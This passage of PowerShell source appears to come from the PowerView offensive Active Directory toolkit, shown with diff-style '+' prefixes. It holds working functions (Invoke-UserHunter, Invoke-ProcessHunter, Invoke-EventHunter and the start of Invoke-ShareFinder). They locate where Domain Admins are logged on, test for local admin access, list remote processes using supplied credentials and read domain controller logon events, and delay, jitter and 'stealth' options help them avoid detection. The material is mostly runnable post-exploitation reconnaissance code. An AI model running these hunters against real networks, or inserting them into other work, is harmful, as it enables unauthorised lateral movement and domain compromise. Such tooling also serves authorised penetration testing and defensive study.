UserADSpath + + The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER UserFile + + File of usernames to search for. + + .PARAMETER AdminCount + + Switch. Hunt for users with adminCount=1. + + .PARAMETER AllowDelegation + + Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' + + .PARAMETER StopOnSuccess + + Switch. Stop hunting after finding after finding a target user. + + .PARAMETER NoPing + + Don't ping each host to ensure it's up before enumerating. + + .PARAMETER CheckAccess + + Switch. Check if the current user has local admin access to found machines. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0 + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3 + + .PARAMETER Domain + + Domain for query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ShowAll + + Switch. Return all user location results, i.e. Invoke-UserView functionality. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Stealth + + Switch. Only enumerate sessions from connonly used target servers. + + .PARAMETER StealthSource + + The source of target servers to use, 'DFS' (distributed file servers), + 'DC' (domain controllers), 'File' (file servers), or 'All' + + .PARAMETER ForeignUsers + + Switch. Only return results that are not part of searched domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -CheckAccess + + Finds machines on the local domain where domain admins are logged into + and checks if the current user has local administrator access. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -Domain 'testing' + + Finds machines on the 'testing' domain where domain admins are logged into. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -Threads 20 + + Multi-threaded user hunting, replaces Invoke-UserHunterThreaded. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt + + Finds machines in hosts.txt where any members of users.txt are logged in + or have sessions. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -GroupName "Power Users" -Delay 60 + + Find machines on the domain where members of the "Power Users" groups are + logged into with a 60 second (+/- *.3) randomized delay between + touching each host. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -TargetServer FILESERVER + + Query FILESERVER for useres who are effective local administrators using + Get-NetLocalGroup -Recurse, and hunt for that user set on the network. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -SearchForest + + Find all machines in the current forest where domain admins are logged in. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -Stealth + + Executes old Invoke-StealthUserHunter functionality, enumerating commonly + used servers and checking just sessions for each. + + .LINK + http://blog.harmj0y.net +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [Switch] + $Unconstrained, + + [String] + $GroupName = 'Domain Admins', + + [String] + $TargetServer, + + [String] + $UserName, + + [String] + $UserFilter, + + [String] + $UserADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, + + [Switch] + $AdminCount, + + [Switch] + $AllowDelegation, + + [Switch] + $CheckAccess, + + [Switch] + $StopOnSuccess, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $ShowAll, + + [Switch] + $SearchForest, + + [Switch] + $Stealth, + + [String] + [ValidateSet("DFS","DC","File","All")] + $StealthSource ="All", + + [Switch] + $ForeignUsers, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay" + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + ##################################################### + # + # First we build the host target set + # + ##################################################### + + if(!$ComputerName) { + [Array]$ComputerName = @() + + if($ComputerFile) { + # if we're using a host list, read the targets in and add them to the target list + $ComputerName = Get-Content -Path $ComputerFile + } + elseif($Stealth) { + Write-Verbose "Stealth mode! Enumerating commonly used servers" + Write-Verbose "Stealth source: $StealthSource" + + ForEach ($Domain in $TargetDomains) { + if (($StealthSource -eq "File") -or ($StealthSource -eq "All")) { + Write-Verbose "[*] Querying domain $Domain for File Servers..." + $ComputerName += Get-NetFileServer -Domain $Domain -DomainController $DomainController + } + if (($StealthSource -eq "DFS") -or ($StealthSource -eq "All")) { + Write-Verbose "[*] Querying domain $Domain for DFS Servers..." + $ComputerName += Get-DFSshare -Domain $Domain -DomainController $DomainController | ForEach-Object {$_.RemoteServerName} + } + if (($StealthSource -eq "DC") -or ($StealthSource -eq "All")) { + Write-Verbose "[*] Querying domain $Domain for Domain Controllers..." + $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname} + } + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + + $Arguments = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ADSpath' = $ADSpath + 'Filter' = $ComputerFilter + 'Unconstrained' = $Unconstrained + } + + $ComputerName += Get-NetComputer @Arguments + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + ##################################################### + # + # Now we build the user target set + # + ##################################################### + + # users we're going to be searching for + $TargetUsers = @() + + # get the current user so we can ignore it in the results + $CurrentUser = ([Environment]::UserName).toLower() + + # if we're showing all results, skip username enumeration + if($ShowAll -or $ForeignUsers) { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' $Null + $User | Add-Member Noteproperty 'MemberName' '*' + $TargetUsers = @($User) + + if($ForeignUsers) { + # if we're searching for user results not in the primary domain + $krbtgtName = Convert-CanonicaltoNT4 -ObjectName "krbtgt@$($Domain)" + $DomainShortName = $krbtgtName.split("\")[0] + } + } + # if we want to hunt for the effective domain users who can access a target server + elseif($TargetServer) { + Write-Verbose "Querying target server '$TargetServer' for local users" + $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' ($_.AccountName).split("/")[0].toLower() + $User | Add-Member Noteproperty 'MemberName' ($_.AccountName).split("/")[1].toLower() + $User + } | Where-Object {$_} + } + # if we get a specific username, only use that + elseif($UserName) { + Write-Verbose "[*] Using target user '$UserName'..." + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower() + $TargetUsers = @($User) + } + # read in a target user list if we have one + elseif($UserFile) { + $TargetUsers = Get-Content -Path $UserFile | ForEach-Object { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + $User | Add-Member Noteproperty 'MemberName' $_ + $User + } | Where-Object {$_} + } + elseif($UserADSpath -or $UserFilter -or $AdminCount) { + ForEach ($Domain in $TargetDomains) { + + $Arguments = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ADSpath' = $UserADSpath + 'Filter' = $UserFilter + 'AdminCount' = $AdminCount + 'AllowDelegation' = $AllowDelegation + } + + Write-Verbose "[*] Querying domain $Domain for users" + $TargetUsers += Get-NetUser @Arguments | ForEach-Object { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' $Domain + $User | Add-Member Noteproperty 'MemberName' $_.samaccountname + $User + } | Where-Object {$_} + + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController + } + } + + if (( (-not $ShowAll) -and (-not $ForeignUsers) ) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { + throw "[!] No users found to search for!" + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + if(!$DomainShortName) { + # if we're not searching for foreign users, check session information + $Sessions = Get-NetSession -ComputerName $ComputerName + ForEach ($Session in $Sessions) { + $UserName = $Session.sesi10_username + $CName = $Session.sesi10_cname + + if($CName -and $CName.StartsWith("\\")) { + $CName = $CName.TrimStart("\") + } + + # make sure we have a result + if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) { + + $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { + + $IP = Get-IPAddress -ComputerName $ComputerName + $FoundUser = New-Object PSObject + $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain + $FoundUser | Add-Member Noteproperty 'UserName' $UserName + $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundUser | Add-Member Noteproperty 'IP' $IP + $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin + } + else { + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null + } + $FoundUser + } + } + } + } + if(!$Stealth) { + # if we're not 'stealthy', enumerate loggedon users as well + $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName + ForEach ($User in $LoggedOn) { + $UserName = $User.wkui1_username + # TODO: translate domain to authoratative name + # then match domain name ? + $UserDomain = $User.wkui1_logon_domain + + # make sure wet have a result + if (($UserName) -and ($UserName.trim() -ne '')) { + + $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { + + $Proceed = $True + if($DomainShortName) { + if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) { + $Proceed = $True + } + else { + $Proceed = $False + } + } + if($Proceed) { + $IP = Get-IPAddress -ComputerName $ComputerName + $FoundUser = New-Object PSObject + $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $FoundUser | Add-Member Noteproperty 'UserName' $UserName + $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundUser | Add-Member Noteproperty 'IP' $IP + $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin + } + else { + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null + } + $FoundUser + } + } + } + } + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'TargetUsers' = $TargetUsers + 'CurrentUser' = $CurrentUser + 'Stealth' = $Stealth + 'DomainShortName' = $DomainShortName + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName + $Result + + if($Result -and $StopOnSuccess) { + Write-Verbose "[*] Target user found, returning early" + return + } + } + } + + } +} + + +function Invoke-StealthUserHunter { + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [String] + $GroupName = 'Domain Admins', + + [String] + $TargetServer, + + [String] + $UserName, + + [String] + $UserFilter, + + [String] + $UserADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, + + [Switch] + $CheckAccess, + + [Switch] + $StopOnSuccess, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [Switch] + $ShowAll, + + [Switch] + $SearchForest, + + [String] + [ValidateSet("DFS","DC","File","All")] + $StealthSource ="All" + ) + # kick off Invoke-UserHunter with stealth options + Invoke-UserHunter -Stealth @PSBoundParameters +} + + +function Invoke-ProcessHunter { +<# + .SYNOPSIS + + Query the process lists of remote machines, searching for + processes with a specific name or owned by a specific user. + Thanks to @paulbrandau for the approach idea. + + Author: @harmj0y + License: BSD 3-Clause + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ProcessName + + The name of the process to hunt, or a comma separated list of names. + + .PARAMETER GroupName + + Group name to query for target users. + + .PARAMETER TargetServer + + Hunt for users who are effective local admins on a target server. + + .PARAMETER UserName + + Specific username to search for. + + .PARAMETER UserFilter + + A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" + + .PARAMETER UserADSpath + + The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER UserFile + + File of usernames to search for. + + .PARAMETER RemoteUserName + + The "domain\username" to use for the WMI call on a remote system. + If supplied, 'RemotePassword' must be supplied as well. + + .PARAMETER RemotePassword + + The password to use for the WMI call on a remote system. + + .PARAMETER StopOnSuccess + + Switch. Stop hunting after finding after finding a target user/process. + + .PARAMETER NoPing + + Switch. Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0 + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3 + + .PARAMETER Domain + + Domain for query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ShowAll + + Switch. Return all user location results. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Invoke-ProcessHunter -Domain 'testing' + + Finds machines on the 'testing' domain where domain admins have a + running process. + + .EXAMPLE + + PS C:\> Invoke-ProcessHunter -Threads 20 + + Multi-threaded process hunting, replaces Invoke-ProcessHunterThreaded. + + .EXAMPLE + + PS C:\> Invoke-ProcessHunter -UserFile users.txt -ComputerFile hosts.txt + + Finds machines in hosts.txt where any members of users.txt have running + processes. + + .EXAMPLE + + PS C:\> Invoke-ProcessHunter -GroupName "Power Users" -Delay 60 + + Find machines on the domain where members of the "Power Users" groups have + running processes with a 60 second (+/- *.3) randomized delay between + touching each host. + + .LINK + + http://blog.harmj0y.net +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [String] + $ProcessName, + + [String] + $GroupName = 'Domain Admins', + + [String] + $TargetServer, + + [String] + $UserName, + + [String] + $UserFilter, + + [String] + $UserADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, + + [String] + $RemoteUserName, + + [String] + $RemotePassword, + + [Switch] + $StopOnSuccess, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $ShowAll, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-ProcessHunter with delay of $Delay" + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + ##################################################### + # + # First we build the host target set + # + ##################################################### + + if(!$ComputerName) { + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + ##################################################### + # + # Now we build the user target set + # + ##################################################### + + if(!$ProcessName) { + Write-Verbose "No process name specified, building a target user set" + + # users we're going to be searching for + $TargetUsers = @() + + # if we want to hunt for the effective domain users who can access a target server + if($TargetServer) { + Write-Verbose "Querying target server '$TargetServer' for local users" + $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { + ($_.AccountName).split("/")[1].toLower() + } | Where-Object {$_} + } + # if we get a specific username, only use that + elseif($UserName) { + Write-Verbose "[*] Using target user '$UserName'..." + $TargetUsers = @( $UserName.ToLower() ) + } + # read in a target user list if we have one + elseif($UserFile) { + $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_} + } + elseif($UserADSpath -or $UserFilter) { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users" + $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { + $_.samaccountname + } | Where-Object {$_} + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController| Foreach-Object { + $_.MemberName + } + } + } + + if ((-not $ShowAll) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { + throw "[!] No users found to search for!" + } + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $ProcessName, $TargetUsers, $RemoteUserName, $RemotePassword) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # try to enumerate all active processes on the remote host + # and search for a specific process name + if($RemoteUserName -and $RemotePassword) { + $Processes = Get-NetProcess -RemoteUserName $RemoteUserName -RemotePassword $RemotePassword -ComputerName $ComputerName -ErrorAction SilentlyContinue + } + else { + $Processes = Get-NetProcess -ComputerName $ComputerName -ErrorAction SilentlyContinue + } + + ForEach ($Process in $Processes) { + # if we're hunting for a process name or comma-separated names + if($ProcessName) { + $ProcessName.split(",") | ForEach-Object { + if ($Process.ProcessName -match $_) { + $Process + } + } + } + # if the session user is in the target list, display some output + elseif ($TargetUsers -contains $Process.User) { + $Process + } + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'ProcessName' = $ProcessName + 'TargetUsers' = $TargetUsers + 'RemoteUserName' = $RemoteUserName + 'RemotePassword' = $RemotePassword + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $RemoteUserName, $RemotePassword + $Result + + if($Result -and $StopOnSuccess) { + Write-Verbose "[*] Target user/process found, returning early" + return + } + } + } + + } +} + + +function Invoke-EventHunter { +<# + .SYNOPSIS + + Queries all domain controllers on the network for account + logon events (ID 4624) and TGT request events (ID 4768), + searching for target users. + + Note: Domain Admin (or equiv) rights are needed to query + this information from the DCs. + + Author: @sixdub, @harmj0y + License: BSD 3-Clause + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER GroupName + + Group name to query for target users. + + .PARAMETER TargetServer + + Hunt for users who are effective local admins on a target server. + + .PARAMETER UserName + + Specific username to search for. + + .PARAMETER UserFilter + + A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" + + .PARAMETER UserADSpath + + The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER UserFile + + File of usernames to search for. + + .PARAMETER NoPing + + Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Domain + + Domain for query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER SearchDays + + Number of days back to search logs for. Default 3. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Invoke-EventHunter + + .LINK + + http://blog.harmj0y.net +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [String] + $GroupName = 'Domain Admins', + + [String] + $TargetServer, + + [String] + $UserName, + + [String] + $UserFilter, + + [String] + $UserADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, + + [String] + $Domain, + + [String] + $DomainController, + + [Int32] + $SearchDays = 3, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-EventHunter" + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + ##################################################### + # + # First we build the host target set + # + ##################################################### + + if(!$ComputerName) { + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + elseif($ComputerFilter -or $ComputerADSpath) { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + } + } + else { + # if a computer specifier isn't given, try to enumerate all domain controllers + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for domain controllers" + $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname} + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + ##################################################### + # + # Now we build the user target set + # + ##################################################### + + # users we're going to be searching for + $TargetUsers = @() + + # if we want to hunt for the effective domain users who can access a target server + if($TargetServer) { + Write-Verbose "Querying target server '$TargetServer' for local users" + $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { + ($_.AccountName).split("/")[1].toLower() + } | Where-Object {$_} + } + # if we get a specific username, only use that + elseif($UserName) { + Write-Verbose "[*] Using target user '$UserName'..." + $TargetUsers = @( $UserName.ToLower() ) + } + # read in a target user list if we have one + elseif($UserFile) { + $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_} + } + elseif($UserADSpath -or $UserFilter) { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users" + $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { + $_.samaccountname + } | Where-Object {$_} + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController | Foreach-Object { + $_.MemberName + } + } + } + + if (((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { + throw "[!] No users found to search for!" + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $TargetUsers, $SearchDays) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # try to enumerate + Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { + # filter for the target user set + $TargetUsers -contains $_.UserName + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'TargetUsers' = $TargetUsers + 'SearchDays' = $SearchDays + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays + } + } + + } +} + + +function Invoke-ShareFinder { +<# + .SYNOPSIS + + This function finds the local domain name for a host using Get-NetDomain, + queries the domain for all active machines with Get-NetComputer, then for + each server it lists of active shares with Get-NetShare. Non-standard shares + can be filtered out with -Exclude* flags. + + Author: @harmj0y + License: BSD 3-Clause + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ExcludeStandard + + Switch. Exclude standard shares from display (C$, IPC$, print$ etc.) + + .PARAMETER ExcludePrint + + Switch. Exclude the print$ share. + + .PARAMETER ExcludeIPC + + Switch. Exclude the IPC$ share. + + .PARAMETER CheckShareAccess + + Switch. Only display found shares that the local user has access to. + + .PARAMETER CheckAdmin + + Switch. Only display ADMIN$ shares the local user has access to. + + .PARAMETER NoPing + + Switch. Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0. + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3. + + .PARAMETER Domain + + Domain 